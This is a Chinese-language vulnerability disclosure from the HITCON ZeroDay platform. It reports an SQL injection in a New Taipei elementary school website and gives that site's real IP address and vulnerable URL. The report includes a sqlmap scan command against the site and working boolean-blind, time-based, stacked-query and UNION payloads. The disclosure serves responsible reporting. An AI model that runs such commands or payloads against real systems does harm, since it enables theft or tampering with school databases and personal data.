Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2020-00821
- Vendor: TACERT台灣學術網路危機處理中心
- Title: 新北市新莊區丹鳳國小網站SQL Injection
- Introduction: SQL Injection
處理狀態
目前狀態
公開
Last Update : 2020/11/16
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2020/09/16 22:56:48 : 新提交 (由 peter 更新此狀態)
- 2020/09/16 22:58:02 : 新提交 (由 peter 更新此狀態)
- 2020/09/16 23:08:52 : 新提交 (由 peter 更新此狀態)
- 2020/09/17 01:51:09 : 新提交 (由 peter 更新此狀態)
- 2020/09/17 20:08:28 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/09/18 18:35:31 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/09/18 18:35:31 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/11/16 03:00:05 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2020-00821
- 通報者:peter279k (peter)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://163.20.170.6/~dfweb/listfixcom.php
敘述
重現手法如下:
因為這個網址可以帶有:fm_id,因此看起來有SQL注入的風險,因此利用SQLMap並使用「sqlmap -u "http://163.20.170.6/~dfweb/listfixcom.php?fm_id=1256" --batch」進行掃描:
之後得到結果如下log:
Parameter: fm_id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: fm_id=1256' AND 3817=3817 AND 'cuwE'='cuwE
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries (query SLEEP)
Payload: fm_id=1256';(SELECT * FROM (SELECT(SLEEP(5)))NkUJ) AND 'bdvW'='bdvW
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: fm_id=1256' OR SLEEP(5) AND 'hbHs'='hbHs
Type: UNION query
Title: Generic UNION query (NULL) - 15 columns
Payload: fm_id=1256' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71767a7071,0x746f7a7056475654686d744d6e6f696856574e7167436750635878774c65646d55564d6e58546f4c,0x716b767a71),NULL,NULL,NULL-- aTYQ
從上圖payload得知,並利用最後一個payload組成:
這樣的網址並用Firefox瀏覽器進行發送。
其中,「0x746869735f69735f615f53514c5f696e6a656374696f6e」為「this_is_a_SQL_injection 」轉成十六進位的字串結果。
原本進入網站的樣子:
發送上述的payload就會得到下圖的結果:
修補建議
- https://www.acunetix.com/blog/articles/prevent-sql-injection-vulnerabilities-in-php-applications/
- https://owasp.org/www-community/attacks/SQL_Injection
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。